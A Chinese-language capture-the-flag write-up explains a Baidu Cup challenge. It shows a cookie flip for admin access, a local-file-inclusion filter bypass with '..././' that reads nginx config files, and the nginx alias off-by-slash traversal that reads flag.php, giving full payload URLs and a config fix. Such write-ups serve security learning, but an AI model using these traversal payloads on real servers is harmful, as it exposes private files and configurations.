nginx 配置不当导致目录遍历下载漏洞

  今天做百度杯的时候发现一个题很有意思。

点进题目,发现了一个js重定向到login.php,抓包发现请求的header中cookie=0,做过这种类似的题目,o==false,在请求头里面将cookie=1,结果就进去了后台,(login.php中没有发现什么信息),进入后台,

 点开Manage,如上图,网址的构造是module=index$name=php 推测是文件包含,我将index改成flag,说明flag在flag.php中我们所要做的就是提取出flag.php中的内容

思路1 用php://filter文件流读取,发现失败了,可能就需要换一个思路

思路2 先判断有没有过滤,fuzz一下

http://cb3d3f7942ac445ab8d59fb7cf93031443a1c345e1dc4e96.ctf.game/manages/admin.php?module=in../dex&name=php访问成功

http://cb3d3f7942ac445ab8d59fb7cf93031443a1c345e1dc4e96.ctf.game/manages/admin.php?module=in./dex&name=php访问失败

说明../被过滤了,用..././绕过,读取/etc/nginx/nginx.conf配置文件,

其中发现了一点可疑的地方,百度一下,发现有个nginx目录遍历下载漏洞

访问这个文件 http://cb3d3f7942ac445ab8d59fb7cf93031443a1c345e1dc4e96.ctf.game/manages/admin.php?module=..././..././..././etc/nginx/sites-enabled/default&name=

 

这里 movie后面有一个 / 

当你浏览http://cb3d3f7942ac445ab8d59fb7cf93031443a1c345e1dc4e96.ctf.game/online-movies,正常情况应该遍历online-movies/这个目录,但是如果访问http://cb3d3f7942ac445ab8d59fb7cf93031443a1c345e1dc4e96.ctf.game/online-movies../, 这个的话就会遍历online-movies整个目录了

最后读取flag

 

 

http://cb3d3f7942ac445ab8d59fb7cf93031443a1c345e1dc4e96.ctf.game/online-movies../var/www/html/flag.php

就不贴出来flag了

漏洞前提条件是必须是子目录、开启了autoindex,并且alias指定目录的时候加了"/",才能利用成功

安全建议:

	location /online-movies {
            alias /movie;
            autoindex on;
        }
	location /online-movies/ {
            alias /movie/;
            autoindex on;
        }


参考:http://luoq.net/ais/1191/
posted @ 2017-03-22 17:02 Mrsm1th 阅读(...) 评论(...) 编辑 收藏